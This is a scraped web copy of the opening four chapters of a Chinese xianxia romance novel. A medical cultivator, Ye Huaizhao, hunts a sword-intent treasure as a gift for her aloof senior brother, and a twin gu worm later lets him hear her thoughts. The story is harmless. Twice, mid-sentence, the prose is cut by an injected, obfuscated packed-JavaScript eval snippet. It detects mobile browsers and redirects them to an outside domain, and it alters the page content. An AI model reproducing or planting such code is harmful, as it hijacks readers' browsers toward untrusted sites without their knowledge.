《死对头师兄好像喜欢我》 1. 第一章 石清镇以西,丹河秘境内。 青色山峦之下是一望无际的原野,翠绿的草叶在微风中轻轻摇曳,一条宽阔长河横贯东西,映照着将要坠落的夕阳。 一只雪白的兔子蹦蹦跳跳地跑来,正要低头吃草,挡在身前的漆黑巨石忽地砰地一声炸开。 碎石飞溅之间,两道人影一前一后落到原野中,瞬间引起地动山摇般的震颤,灵力扬起的气流将兔子掀飞出去。 “周鹤亭,你我无仇无怨,为何要拦我?”绛蓝色衣裙的少女冷声斥道。 说话间她的身形疾如闪电,又是无数道凌厉的剑式斩出,却一一被身着玄色衣袍的少年拦下。 周鹤亭抬手甩出数道符箓,漆黑的符纸在半空中无火自燃,一道黑雾构成的长龙咆哮着冲向持剑少女,气势震天。 “庄姑娘,既然都在这秘境中,还谈什么无冤无仇?”他揣袖而立,笑眯眯说,“若是庄姑娘放弃坎水剑意,我们还能勉强道一句‘无冤无仇’。” 庄丹雪的回答是反手斩断了攻向她的长龙,同时气势汹汹地飞身向站在河流旁边的少年冲去。 她的身法远比用符箓的少年更快,几乎是眨眼间便逼近了周鹤亭的面前,眼见得闪烁着幽幽冷意的剑锋就要划破他的喉咙,持剑右手忽地一顿。 与此同时,空旷寂寥的原野上忽然旋转着浮现出一个巨大的卦阵,庄丹雪的位置正好位于死门。 在见到四散飘起的淡绿色薄雾的第一时间,庄丹雪便脸黑如炭,骂道:“叶怀昭,你这个卑鄙小人!” “哎呀,丹雪姐姐怎么打不过就骂人呢?” 淡绿薄雾之中飘出一道清脆的女声,而后弥漫整条河流的薄雾摩西分海一般向两旁散去,一个身形纤瘦高挑的少女走了出来。 她逆着光,银红羽丝的衣裙几乎融进身后悬阳欲坠的黄昏中,柔和的面庞朦胧,只依稀辨认出眉弯目秀,顾盼神飞的灵动。 叶怀昭脚步轻快地走到一动不能动的庄丹雪身前,绕着她转了几圈,故意笑眯眯说:“丹雪姐姐怎么不能动了呢?是不是中了什么毒呀?” 庄丹雪一看她这张写满无辜的脸就心头冒火,恨不得把她的嘴都撕烂! 她乃是修真界最强仙门青冥台掌门之女,自修行剑道以来,从来都是旁人眼中的天之骄女、剑道奇才,谁见了她即便不是诚惶诚恐,也是恭敬有加。 唯有叶怀昭! 从第一次见面的大打出手到现在,庄丹雪早就和她积累了数都数不清的恩怨。这个惯会装无辜佛面蛇心的女人,次次都同她作对,次次都要抢她的风头! 若说她和无相宫的周鹤亭无冤无仇,那她和叶怀昭的冤仇就是三天三夜也说不清。 也因此,在得知叶怀昭九日前孤身一人进入丹河秘境的第一时间,庄丹雪便带着同门师兄师姐一起去围攻了叶怀昭,亲手把她淘汰出局。 然而她现在好端端的站在这里,显然是没被淘汰。 庄丹雪气得冒火,却连震惊都没来得及表露,张口就骂道: “叶怀昭,你一个医修,和我抢什么剑意!” 这简直是所有被叶怀昭用毒淘汰出局的修士们共同的一声怒骂。 丹河秘境中珍宝传承无数,适合医修的秘宝更是多不胜数,你叶怀昭不去抢医修的秘宝,费尽心思地来抢我们剑修的秘宝干什么?! 还给不给我们贫穷的剑修一个活路啊?! 然而掀起风波的少女却只是抬起手,理了理自己被风吹乱的发丝,手腕上一对缠丝银镯磕碰间发出几声脆响,而她的主人声音轻快说: “你猜。” 还没等被气得七窍生烟的庄丹雪再次开口,她便已干脆利落地捏碎对方的护心符文,一道光柱闪过,面前的少女已经被传送出秘境。 叶怀昭心情不错的捡起地上掉落的通关令牌,转头对揣袖而立的周鹤亭说:“多谢啦,等我拿到坎水剑意后就帮你去拿十三咒。” 正如坎水剑意是所有进入丹河秘境的剑修梦寐以求之物一样,十三咒正是所有符修的趋之若鹜的秘宝。 虽然此时距离秘境关闭只剩两个时辰,但叶怀昭还是很有信心带着人连闯两处险境的。 周鹤亭道了声谢,两人向丹河秘境的深处御风而去,很快便来到了一处石门前。 叶怀昭将令牌放到石门当中的凹槽处,咔哒咔哒的机关声音转动,石门向两旁展开。 石门内是一处杂草丛生的庭院,两人皆感受到了一股凌厉的剑意自庭院深处传来,于是抬脚向感知到的方向走去。 在路上,周鹤亭像是好奇一样问道:“所以你为什么一定要夺得坎水剑意?” 叶怀昭心情不错,也就不介意和他多说几句:“当然是为了送礼。” “送礼?”周鹤亭有几分诧异,“你拿坎水剑意做礼物?” 叶怀昭:“对啊,不行么?” 周鹤亭叹气:“行啊,那可真是太行了。” 谁不知道这坎水剑意乃是一代剑宗张大师的六十四剑式中最难寻得的一道剑式?旁人得了普通的一式都万般珍惜,更何况这坎水剑意。 也就这长风门的大小姐能做得出来这等暴殄天物的事了。 这样想着,他又问道:“既然是送礼,大小姐是想送给谁?”< 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从见面时的视若无睹到请教时的拒之门外,叶怀昭肯定,他就是对她有意见。 要不是阿爹说上次生辰谢迟云送了她很贵重的一份礼物,她绝对不给他千里迢迢跑来找回礼。 等谢迟云的生辰过完,他们两人从此互不相欠,从此桥归桥路归路,他爱喜欢谁喜欢谁,反正她绝对不会再去热脸贴冷屁股! 思及此,叶怀昭心中越发愤恨,斩断杂草的动作也越发狠厉,险些砍到旁边摸鱼的周鹤亭身上。 无辜被术法划破衣衫的周鹤亭心中一跳,心想不会吧?难道她已经识破了? 他停在原地,而叶怀昭将悬浮于半空的坎水剑意收下,转头看他:“你怎么了?” 面对她的提问,周鹤亭的眼前却幻视她方才笑眯眯地挥手将庄丹雪淘汰出局的场景,也是一样的无辜。 周鹤亭的心中顿时有了决断。 他咬咬牙,说道:“对不住了,大小姐!” 语毕,荒凉无人的庭院中忽然窜出来数个蒙面大汉,目标明确直指站在庭院中央的红裙少女。 红裙少女面上似是惊愕愤怒,睁圆了眼眸骂道:“周鹤亭,你怎么言而无信!” 然而在心中她却冷哼一声,嘀嘀咕咕想:就知道你周鹤亭靠不住。 她正欲抬手反击,眼前骤然闪过一道明亮璀璨的银色灵力光芒。 在这几乎要划破微黄长空的光芒中,她似是望见了一点极为熟悉的赤红。 叶怀昭顿在原地。 2. 第二章 横扫全场的灵力势不可挡,几乎是在刹那间便将所有人的护心符文碾碎,周鹤亭甚至一句遗言也来不及说,直接就被那人干脆利落地淘汰出局了。 除了站在中央的叶怀昭。 她将要施法的手顿在半空,满心满眼都被问号填充,见鬼了似的瞪着慢条斯理挑着灯朝她走来的男人。 他的身姿颀长,着月白窄袖长服,握住长长细杆的右手骨节分明,冷冽的银色灵光绕在他的指间。 此时金乌西坠,夜幕之下的破败庭院没有一点光亮,仅有几只草丛中的萤虫慢慢飞起,照亮他清俊温雅的面容。 ——以及那眉心似是白瓷染血的赤红一点。 这熟悉的一张脸,让叶怀昭想都不想脱口而出:“你怎么在这里?” 来人正是那不喜她的乘玉仙君,谢迟云。 她一面说,一面带着刚刚得到的坎水剑意跑出了很远。 谢迟云轻轻抬眼:“师妹,你要逃到哪去?” 叶怀昭:“?” 他什么意思,什么叫“我逃到哪去”? 难道不是你自己不来的吗? 叶怀昭躲在院门外,警惕地望向站在院中的男人。 似是看出了少女心中的念头,她的师兄善解人意地开口道:“师妹,我那天没有说不来,只是我需要先把手头上的事情处理好。你可能误会我的意思了。” 他一面说,一面想要向叶怀昭的方向走去,被吓得眼睛睁得溜圆的少女连声道:“等、等一下!” 谢迟云轻轻挑眉,依言停住脚步,只是用询问的目光望着炸毛一样缩在院门后的师妹。 叶怀昭艰难整理着自己的思绪。 她当然去问过谢迟云要不要随她一起去丹河秘境,但似乎,她当初听到“不行、不去”四个字后,好像就直接被他气跑了,至于后半句说了什么根本没听。 好像是她的错噢。 叶怀昭在心中愧疚了一瞬。 但是她一抬眼就瞥见谢迟云脸上八风不动般的微笑,像是什么事情都不会让他有所波动一样,顿时一股说不清道不明的郁气飞速升起。 她气呼呼说:“怎么就是我误会了?明明我之前也有几次邀请你和我一起去闯秘境,可你都拒绝了我,我自然就以为你这次也是拒绝我啊。” 她越说越觉得谢迟云此话的可疑:“而且如果是我误会了,你为什么也不解释!” 没错,就是这样。 怎么可能是她的错,明明就是谢迟云三番五次地拒绝她才产生这次的误会的。 叶怀昭说服了自己,同时做好谢迟云绵里藏针反驳她的准备。 但是男人垂眼盯了她几瞬,就在叶怀昭摩拳擦掌以为他要开始反击时,他忽然抬起视线。 男人藏着微妙笑意的目光看向她的身后:“师妹在这里做什么?寻找秘宝吗?” 任谁都能听出来他不想回答方才那个问题,正在转移话题。 可叶怀昭还偏就不能无视谢迟云的话。 她条件反射地将握在手心的坎水剑意收回银镯中,而后仰着头挤出一张笑脸,咬牙切齿说:“对呀,寻找秘宝。” 不能让他知道我是在给他寻礼物。 叶怀昭在心中想,他一定会笑眯眯接过,但指定在心中嘲笑她费尽心思像跳梁小丑一样去讨好他! 可恶,为什么有人能长了那么超凡脱俗的一张脸,性格却这么恶劣! 叶怀昭在心中骂得越凶,脸上的笑容越发灿烂。 为了不让谢迟云发现,她背在身后的手偷偷驱使灵力扬起大风,试图将零星一点的残存剑意驱散。 她的心中慌乱,掐起的术法便一不小心用得过头。 平静无波的庭院中忽地狂风大作,满地的微小灰尘被扬起,叶怀昭的视野顿时模糊,碎石碎屑呼呼地朝她的脸上刮。 叶怀昭:“……” 她捂着鼻子咳得惊天动地,在泪眼模糊中抬起手指,试图掐断毫不留情向她刮来的碎石,耳朵忽然捕捉到一声清晰的叹息声。 而后,挑着灯的男人向她走了过来,不知从哪拿出来一个幕篱罩在了她的头上。 谢迟云似笑非笑问道:“那秘宝找到了吗?” 这个幕篱很大,几乎将叶怀昭的上半身遮住,垂下的柔软白纱在她的眼前飘动,不知是不是她的错觉,似乎也带着一股清淡的檀木清香。 她抓着幕篱,小心嗅了嗅,觉得有几分熟悉,像是自己曾经从哪里也闻到过一样。 但是那时候比这更加浓郁、逼人。 然而此时不是纠结这件事情的时候。 叶怀昭十分怀疑谢迟云知道她刚刚干了什么,就等着她自己来挑明。 但万一又是想要看她出丑的谢迟云诡计多端的阴谋呢?他是不是想故意诈她? 那我可不能让他得逞。 叶怀昭清了清喉咙:“嗯,秘宝嘛,当然是还没找到。” 谢迟云哦了一声:“师妹要找什么秘宝,不如我来帮师妹找?” “不用!”叶怀昭条件反射地拒绝,又在下一刻意识到自己现在的样子太可疑了,只好干巴巴笑了两声,“我的意思是,这个秘宝很容易就能找到,不需要大师兄劳驾。” 她生怕谢迟云接着追问“既然秘宝容易找到,怎么师妹待了九天还没出去”,干咳一声就向外走,头也不回说: “我已经知道秘宝在哪里了,师兄,你不用出手。” 身后很长时间没有动静,叶怀昭走得迅速连头也不回,只敢偷偷用余光去瞟。 隔着朦胧的白纱,她看见那个身姿高挑的男人在原地站了片刻,目光一直在看她的方向,却分辨不清脸上的情绪。 在叶怀昭几乎要走出庭院的时候,他才抬脚慢慢走了过来。 “既然如此,那我就靠师妹保护我了。”谢迟云说。 叶怀昭:“……” 不是,我是说让你不用出手,怎么就变成了我要保护你了? 而且你堂堂长风门剑修首席,要让我一个医修来保护? 叶怀昭欲言又止,张嘴想要拒绝,可在出声的前一刻把话全部咽了回去。 她偷偷去看谢迟云的脸色,发现他的表情很是平静,不知为何眼中的笑意散去,捏着灯杆的右手却有一搭没一搭地转着。 哦,原来是不情不愿来的啊。 她自我代入了一下,如果自己被逼着去帮一个不喜欢的师弟闯秘境,出于同门的情谊她会答应,可在秘境中一定不会尽心尽力地帮忙。 ——谢迟云来,一定是因为她爹旁敲侧击劝来的。 此时他指不定在心中嫌她事多呢。 叶怀昭在心中冷笑一声。 好,既然想让我保护你,那我一定好好“保护”。 她决定去找丹河木。 当今天下人魔两族划界 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那里有无数妖兽蛊虫镇守,还有很多机关陷阱,稍不注意就有可能会中招。 ——就算谢迟云是长风门剑修首席也不例外。 有她在旁看着,他不会有性命危险,但一些烦人的蛊毒可少不了。 让人哭泣不止的悲情蛊、不自觉会说真话的问心毒、还有什么让人掉光头发的断愁蛊啊,一个都少不了。 哼哼,到时候我一定让人你亲口对我说“求求你,师妹”。 叶怀昭装模作样地带着谢迟云沿着丹河向上游的山峦源头走,此时距离秘境关闭还有一个半时辰,足够了。 而在路途中,叶怀昭也遇到了几个想要赶在最后关头对他们动手的弟子,都是由她亲手解决的,谢迟云当真动都没动一下。 只是这中间还是发生了一点小失误。 叶怀昭弹指扔出几根毒针将偷袭的弟子淘汰出局,转头对身后的男人皱眉说:“谢师兄真是好定力,差点被人砍断脖子竟然连剑都不拔。” 谢迟云:“因为我的剑断了,还没修好。” 叶怀昭当真不知道这一点。 她的面色古怪。她记得谢迟云的剑可是她爹当年跑了很多地方,从剑圣手中求得的无上宝剑——什么事情能让他把剑折断了? 把剑修的剑折了,这和折了命根子有什么区别? 既然是折命根子的事,叶怀昭不太敢多问。她转移话题说:“那师兄可真是相信我。” 谢迟云微微一笑:“师妹天资聪慧、修为高深,我自然相信师妹可以处理好这些人。” 他生了一张翩翩公子般的清俊面庞,偏偏眉心有一点极为鲜妍的朱砂痣,每次含笑时,这张脸都会无端显出几分与气质截然相反的风流。 叶怀昭看得一顿,隔了一会才反应过来他刚刚在夸自己,立刻将眼睛瞥向一边,努力维持着不让唇角上扬,若无其事说: “那是当然了,我可是这一届问道大会的榜首。” 实际上这一届的问道大会还没有开始,但叶怀昭一点也不认为她的那些对手们能从她的手中抢走这个称号。 谢迟云——上一届问道大会榜首——微微垂眼,看着她被发丝掩映着透出几分薄红的耳垂,轻轻转了转自己手中的灯盏。 他无声地笑了一下。 3. 第三章 叶怀昭还在心中回味谢迟云说这句话的神态。 她努力压抑着唇角,在心中骂自己: 别这么丢脸叶怀昭,难道你是男人随便哄两句就心花怒放的女人吗?你忘了之前去找谢迟云吃的闭门羹了吗?你忘了他见都不见你,还让人传话“不必再来多问”时候的耻辱吗? 而且你还不知道他逢人便笑惯会哄人的性格吗?这句话说不定他还对其他师妹说过呢。 叶怀昭当真把自己骂醒了。 但回头一看旁边大师兄那张惊为天人的脸,又默默移开了目光。 算了,脸是无辜的。 看在这张脸的份上,那个会让人掉光头发的蛊虫就不用了。 脸是脸,谢迟云是谢迟云,她才不是在为谢迟云开脱。 在叶怀昭这样的自我安慰中,两人终于来到了丹河的尽头——枯荣山的脚下。 面前的山峦隐没于漆黑夜幕之中,一条狭窄的石路延伸入幽深树林,带着寒意的风穿过树林,满山的枝叶婆娑摇动,在谢迟云提灯照出的光亮中落下张牙舞爪的阴影。 叶怀昭无视身后近似于呜呜咽咽抽泣的响声,面色如常对谢迟云说:“这里就是枯荣山,丹河木就生长在山顶最高处,我们一会要从这条石路爬上去。” 她微微抬起下巴,点了点面前的男人:“进山之后我保护你。” 而后伸出手指了一下被他拎在手中的提灯:“你保护逐魂灯。” 谢迟云:“好。不过师妹的提灯去哪了?” 丹河秘境是个白天与黑夜难度天上地下的地方。 在白天中最大的危险是进入秘境的弟子,而在没有月亮的黑夜,最大的危险就是黑暗。 凡是身处黑暗、且没有特殊烛光照耀的人,都是秘境优先攻击的对象。 然而叶怀昭轻轻哼了一声,无所谓说:“第一天就丢了。” 为了让庄丹雪以为她死了,所以把斥资三块灵石买的逐魂灯都扔了。 可恶的女人,还说她卑鄙,明明一开始就带了一伙人来围攻的人是她,她到底哪里有脸说这句话的? 叶怀昭踢了踢脚下的石子,石子咕噜咕噜滚进小路,又在一瞬间被黑暗中忽然冒出来的藤蔓缠住绞碎。 随着藤蔓的苏醒,黑暗的树林中越发响起簌簌的响声,那些呜咽的啼哭声渐渐变大,当叶怀昭和谢迟云踏上石路时,几乎在贴着他们的耳边窃窃私语。 明月隐没云层,两人的身周只有逐魂灯散发出的微弱光亮,再回头时原本的道路消失,只剩下一眼望不到头的石路。 随着时间的推移,树林中不再只有细碎的声响,而是一只又一只眼瞳闪烁着猩红光芒的妖兽显出身形,虎视眈眈地盯着拾阶而上的两人。 若是寻常弟子踏进了这枯荣山,此时此刻估计早已浑身戒备、警惕万分了。 但如今迈进枯荣山的是谢迟云和叶怀昭。 一个在心中想着怎么“不小心”让自己的大师兄中招,同时一心二用地放出灵力斩杀所有袭来的妖兽蛊虫,脸上看不出任何凝重。 一个在慢吞吞沿着少女的脚步向上迈着石阶,姿态从容优雅,若非他的身旁不时响起凄厉的嚎叫声,几乎让人怀疑他不是在野兽环绕的山林,而是什么宴席。 叶怀昭不想多费力气,于是专挑着能快速到达山顶的小路走,沿路看到一些被踩踏过的痕迹,显然是在她来之前就已经有人来过了。 只是没看到下来的痕迹,难不成这人还在上面? 叶怀昭没有多想,只是随意瞥了一眼便收回目光。她随手放出一片毒雾把铺天盖地袭来的毒蜂杀死,听到谢迟云在身后叫她。 “师妹,”看见她回头,谢迟云示意她去看手中有几分黯淡的提灯,“灯快灭了。” 叶怀昭:“知道了,那我加快一点速度。” 她嘴上这样说着,其实神不知鬼不觉地换了另外一条路。 谢迟云在专心致志地盯着黯淡的灯看,似乎没有发现她虽然打得更加卖力了,路却没多走,做出来事倍功半的努力。 叶怀昭在心中想,等着吧大师兄,等灯灭了就是我的报仇之时。 她在脑中幻想谢迟云低声下气求她救自己的场面,开始惋惜自己这次出门怎么没带留影珠,要不然一定把他这幅样子记下来,回头这人再拒绝她就把这珠子怼到他的脸上! 就在叶怀昭已经快进到她坐上掌门之位,而谢迟云给她端茶倒水的时候,身后的男人又叫了她一声。 叶怀昭收敛了自己诡异的微笑,回头正经说:“怎么了?” “提灯快灭了,师妹和我站得近一些吧。”他抬起自己手中的提灯晃了晃,明明暗暗的光拂过他温和的眉眼,“只有我们两个人,共用一盏灯也不碍事。” ——我站在你身边怎么“不小心”让你中蛊? 叶怀昭面色微不可查地一僵。 沉默的时间有些久,男人似乎默认她没有拒绝就是同意,于是提着灯向上走了两级石阶,原本在灯火下模糊的清俊五官霎时间格外清晰。 叶怀昭站在昏暗的灯光边缘,眼睁睁看着他一步一步接近自己,石阶上映出的两道身影越发贴近,在摇晃的间隙中时而轻碰,时而分离。 她头上的幕篱早在进山的那刻便摘下了,可此时她的鼻端似乎莫名又有檀木的气息萦绕,似有似无的。 她看到男人浅色眼眸中的一点光亮,那是站在更高一阶的自己。 叶怀昭莫名觉得自己的喉头有些发紧,想要开口制止,可不知道为什么发不出声音,只能看着谢迟云提着灯走近。 林中一派幽暗,广袤的黑暗包裹山峦,只有谢迟云握有那一点光亮在接近她。 但正当他踩在与叶怀昭同级的石阶时,山林中忽地响起一声狼嚎,逐魂灯唰地一声熄灭了。 叶怀昭猝然回神。 她噔噔噔向后撤开数步,直到看不清谢迟云的脸后才结结巴巴说:“灯、灯灭了,我们要赶紧走!” 叶怀昭在心中哀嚎,怎么回事,到底是怎么回事,她怎么在刚刚的一瞬间又鬼迷心窍了! 她狠了很心掐了自己掌心一把,疼得眼泪都飚出来了,高热的大脑才终于降下了温度。 她终于冷静下来了。 叶怀昭不敢再去看身后谢迟云的表情,于是头也不回继续向上爬:“接下来的路不能随便走,师兄你要听我指挥。” 隔了一会,她才听到谢迟云说了一声“好”。 枯荣山既然被叫做枯荣山,自然是因为山上的有很多陷阱只有“死”和“生”两种选择。 例如接近山顶的这三十六级石阶,必须依照特定的步数行走,否则便会引出妖兽和陷阱。而且一人走过后,需要再次窥看天象确定新的路线,不能沿着上一人的步数登山。 方才叶怀昭慌乱间也精准地走过了五级台阶,此时她依旧站在谢迟云的前方。 叶怀昭站在高处,清了清嗓子,说:“现在走两级。” 谢迟云依言一步走了两级。 “一级。” 谢迟云走了一级。 “四级。” 不能用灵力,谢迟云点地跃起,落在第四级台阶上。 叶怀昭一边告诉他阶数,自己也在向上走着,两人之间始终保持着不远不近的距离,直到叶怀昭踏上山顶。 她看着还有五级台阶没走的男人,唇角微微上扬。 哼哼,终于落到我的手中了。 她给谢迟云报的阶数一直是对的,山顶近在咫尺,此时他心中一定已经放松了警惕,接下来就该为此付出代价了。 叶怀昭冷静说:“嗯,接下来是两级。” 说罢,她的目光钉在谢迟云的身上,眼前几乎已经浮现出他身中悲情蛊的狼狈样子。 而她的师兄对此一无所知,他抬起脚,向上迈步—— 他走了三级石阶。 叶怀昭脸上的笑容渐渐消失了。 石阶上的谢迟云像是没有觉察到一样,抬头说:“师妹,你方才说的是三级石阶吧?方才风声有些大,差点没听清。” 叶怀昭:“……” 叶怀昭盯着他,试图从他这张脸上看到任何异样的情绪。 不会吧,难道他知道我要对他下手了? 但他如果知道了,为什么不揭穿她? 这样都能忍? 叶怀昭纠结了几瞬,最后还是咬牙说:“接下来走一级。” 谢迟云嗯了一声,然后抬脚走了最后两级石阶,登上了山顶。 叶怀昭终于憋不住了,她瞪着旁边的男人:“你是不是知道这段路要怎么走?” 谢迟云:“知道。” 叶怀昭都要被他这幅风轻云淡的表情气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶怀昭翻手挥出数道烈火符咒,裹挟着炽热火焰的凤凰啼叫一声,俯身燃尽所有袭击的妖兽蛊虫。 她想要去追那个让谢迟云动杀意的人,脚下方才动作,指尖猝然一痛,等她低头时只看到了蛊虫没入指尖的一点尾部。 ——这蛊虫到底是怎么绕过她的灵力的? 来不及深思,叶怀昭反应神速地停止了自己所有的灵力流动,阻滞了右手的经脉。 可那蛊虫却像是提前预知了她的反应一样,瞬息间便来到了心口,彻底生根。 叶怀昭的神色终于变了。 蛊虫钻心,她不受控制地喷出一口鲜血。 山顶缭绕的烟云迅速涌动,而偷袭之人一击不成便立刻隐入黑暗。谢迟云本想去追,却第一时间抓住旁边软了半边身子的叶怀昭。 烈火点燃周围一整片浅草,火光中他的眼中是无法融化的冰冷杀意。 “师妹,你怎么样?” 他说着,却一眼看到了草地上微小的另一只蛊虫。它的速度极快,几乎是眨眼间就要投身火海。 叶怀昭一把揪住谢迟云的胳膊:“不能让它死了,这似乎是两只双生蛊!” 她没养过蛊虫,却听她师尊说过,若是一些双生蛊,那便是一同生、一同死。 谢迟云依言用术法困住了蛊虫,但它似乎本就不能长久地脱离人体,在这短短几瞬间便已经迅速萎缩,眼见得便要化成一滩血水散去。 谢迟云:“师妹,另一只蛊在你体内,对吗?” 叶怀昭正在绞尽脑汁地思考怎么剥离双生蛊,只恨当年师尊授课时她偷偷打瞌睡,根本来不及思考谢迟云为什么要问这个问题,只匆忙地点头:“对。” “好。” 他的声音很是平静,火光跳跃在他幽深透亮的眸底深处,在这一瞬间甚至像是映出了一点猩红的光。 叶怀昭抬头时正好望见他的神色。她的心神恍惚,一张染着血的模糊人影忽然与半跪在她面前的男人重叠,像是记忆深处永恒不灭的烙印,在火光温度下显现出本来的样子。 ……这是谁? 少女怔怔地注视着那两道身影。 下一刻,他们同时伸出手,虚无的模糊幻影触碰到少女的脸颊,似是微风拂过花瓣,轻柔缱绻。 而属于师兄的手紧紧攥住了她的手腕,掌心炽热。 他任由蛊虫没入指尖。 叶怀昭:“……?!” 4. 第四章 叶怀昭惊呆了。 那道幻影破碎,只留下半跪在她面前的谢迟云。 她睁大眼睛死死盯着男人只剩下一点血迹的指尖,停顿了许久,视线上移,慢慢和谢迟云对视。 而后,她猛地站起来,不可置信道:“你干什么?!” 谢迟云:“不让它死。” 叶怀昭:“不让它死也不至于用这种手段吧!” 她头皮发麻,脑中不断闪过自己见过的无数血淋淋的蛊毒发作后的惨状,再把那些模糊陌生的人换做谢迟云的脸,想都没想就扑过去抓着他的手想要探查他的灵脉,帮他把蛊虫逼出去。 属于叶怀昭的灵力自两人接触的手掌间涌出,却在即将没入谢迟云灵脉的前一刻被温和而强硬地制止了。 她急得额角冒汗,嘴里还在念叨着所有她已知的剥离蛊虫的方法,根本没想到谢迟云竟然拒绝她的探查,气得直跺脚。 “我要探查蛊虫在你体内的情况,你为什么阻止我!” 谢迟云:“师妹,你冷静一点,我现在没有事。” 叶怀昭:“你只是现在没事,谁知道会不会过段时间就蛊毒入心、七窍流血、血肉剥离、惨无人样的死去?” 谢迟云垂眼看她,只道:“你不会这样。” 我在说你,你说我干什么! 叶怀昭被他这幅油盐不进拒不配合的态度给气笑了。 少女没有抓住他手腕的另一只手直接上手扒拉他的衣襟,银镯相撞的清脆声音一响而过,她硬生生把他拽着弯下腰,盯着他的眼睛怒道:“你怎么就知道不会这样?” 你知道什么,你难道比我这个医修知道的还多,难道你是蛊虫的主人吗?! 燃烧着火焰的火凤慢慢在枝叶茂密的丹河木上落下,却没有点燃任何一片树叶,它颇具人形地微微歪着头,注视着被火光包围中的两个人。 情急之下的少女早就将之前不愿与自己师兄挨近的想法抛之脑后了,她单手拽着男人的衣襟,因为愤怒而睁圆的眼眸像是浸着一层水意的漆黑玉石,眸底倒映着如有实质的愤怒火光。 她惯常扬起的唇角紧紧抿着,脸庞上有血迹残留,猩红色的痕迹与如瓷的白皙拉扯出极具鲜明的对比,发鬓间绿松石金簪的流苏轻微摇晃。 叶怀昭看到面前的师兄深深盯着她,眼中晦暗不清,微妙地落在她的侧脸上,分辨不出任何情绪。 她在愤怒中甚至抽出一丝丝心神想,他盯着我的侧脸干什么? 这个念头转瞬即逝,可叶怀昭看到他抬起手,薄青色的衣袖划过自己因为动作而露出的手腕,一触即分。 他裹挟着火焰温度的炙热右手,盖住了少女揪住他衣襟的冰冷手指。 谢迟云轻声说:“师妹,你左脸上的血还没擦掉。” 叶怀昭的思绪被他直接打断了。 而就在她怔愣的间隙,男人微微笑了一下,纤长黑睫垂下,眸若点漆。 “以及——我不是蛊虫的主人。” 叶怀昭:“……” 她像是被烫到一样猛地向后抽身。 能轻松制住千钧凶兽的右手就这样任由她挣开了自己的桎梏,他的主人安静地看着惊魂未定的叶怀昭。 谢迟云挑眉:“冷静点了吗,师妹?” 冷静了,冷静得想要直接去死了。 叶怀昭抬起手背,蹭掉自己脸颊上的血迹,在触碰的一刹那觉得自己的脸颊滚烫。 ——是被旁边的火光烤的吧。 她这样给自己解释,听到谢迟云不疾不徐说:“师妹,虽然我不是医修,但据我所知,双生蛊一般不会种下即死。相较于杀人,它更常被用作制衡之术。” “所以,你不必担心我忽然暴毙。” 叶怀昭心想,这个道理她当然知道。 而且其实在那只蛊虫没入谢迟云体内的第一时间,她身上的钻心痛感便消失了,也就是说这两只蛊虫已经成功在他们两人的身体中活了下来。 但知道归知道,哪个正常人面对方才那种情况,会选择以身饲蛊呢? 万一那就是会让人暴毙而亡的蛊虫呢?他就真的一点也不怕死? 叶怀昭在心中嘀咕着,可在下一刻,她浑身僵硬,飞速运转的大脑忽地意识到一个新的问题。 “你等一下,”她谨慎的、一字一顿说,“你怎么知道,我刚刚在心里说‘难道你是蛊虫的主人吗’这句话的?” 谢迟云在整理着被她扯乱的衣襟,手掌宽大,手指苍劲有力。 他微微扬起一边的眉,轻轻“啊”了一声,脸上似是困惑地说:“这是你在心里说的?” 叶怀昭和他对视。 片刻后。 她惨叫出声:“不是,这什么变态蛊虫啊?为什么你能听到我的心声?!” 叶怀昭来这里主要是想在自己的主场坑谢迟云一把,以报自己被他鸽掉的大仇,顺便趁着秘境没有关闭带几棵丹河木回去。 但这突如其来的蛊虫完全打乱了她的计划,成功让她把其他所有心思抛之脑后。 两个人蹲在烈火燃烧后留下一片漆黑灰烬的山顶,努力研究这个蛊虫到底是怎么回事。 谢迟云不让她拿灵力探查他的灵脉,她就左手搭右手,自己摸着自己的灵脉研究。 但正如她师尊不擅剑术一般,叶怀昭虽然自诩“这一届的问道大会榜首”,对巫蛊之术当真一窍不通,她研究了许久,还是一头雾水。 她撑着自己的膝盖,拿了一根谢迟云给她掰下来的完美的树枝在地上写写画画。 “首先,这个蛊虫应该不是丹河秘境中的蛊虫。”叶怀昭说。 她不擅巫蛊之术,但前几次闯丹河秘境时出现的蛊虫她还是好好记下来、研究过性情弱点的。目前来看,她和谢迟云身上的这两只蛊虫不在这之内。 “其次,这个蛊虫似乎能让你在我心情激动时听到我的心声。”叶怀昭单手支颐,若有所思地看着谢迟云,“难道我中的是子蛊,你中的是母蛊?” 谢迟云眨了眨眼,正要开口,又听她自言自语说:“也有可能。不过无论是双生蛊还是子母蛊都很难单独剥离。” 少女换了只手,接着在地上划拉,像是在画人体内的灵力通路:“目前来看,这只蛊虫应该在蛰伏期,好像不影响使用灵力。” 她终于舍得将注意力分向旁边安静听她分析的谢迟云一点:“师兄,你觉得自己使用灵力时有什么异样吗?灵力滞涩或者灵力不受控制都算。” 谢迟云其实在之前就已经自己感受过了,但此时依照她的话再次感受了一遍,银色的流光凭空升起,绕着两人转了一圈。 他摇摇头:“没有。” 叶怀昭点点头,接着去看自己画的灵力通路:“不是针对灵力、也不是针对魂魄、更不是想立刻要人性命。” 她盯着地上的灰烬沉思。 片刻后,少女忽然一扔树枝,拍拍裙子站起身,伸手将卧在树枝上无聊得开始玩树叶的火凤召回。 拖着火焰长尾的凤凰落到她的肩头,点点火星在漆黑的夜幕中慢慢飘散,却没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575507|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她精致的裙摆烧毁,而是宛如赤色的水滴一般滚落,再没入地面。 叶怀昭说:“那就是在针对我。” 能抵抗得住火凤的炽焰燃烧,又能毫发无伤地穿过她的灵力攻击接近她,再精准地绕过她所有的抵抗手段。 这个蛊虫就是专门为她下的。 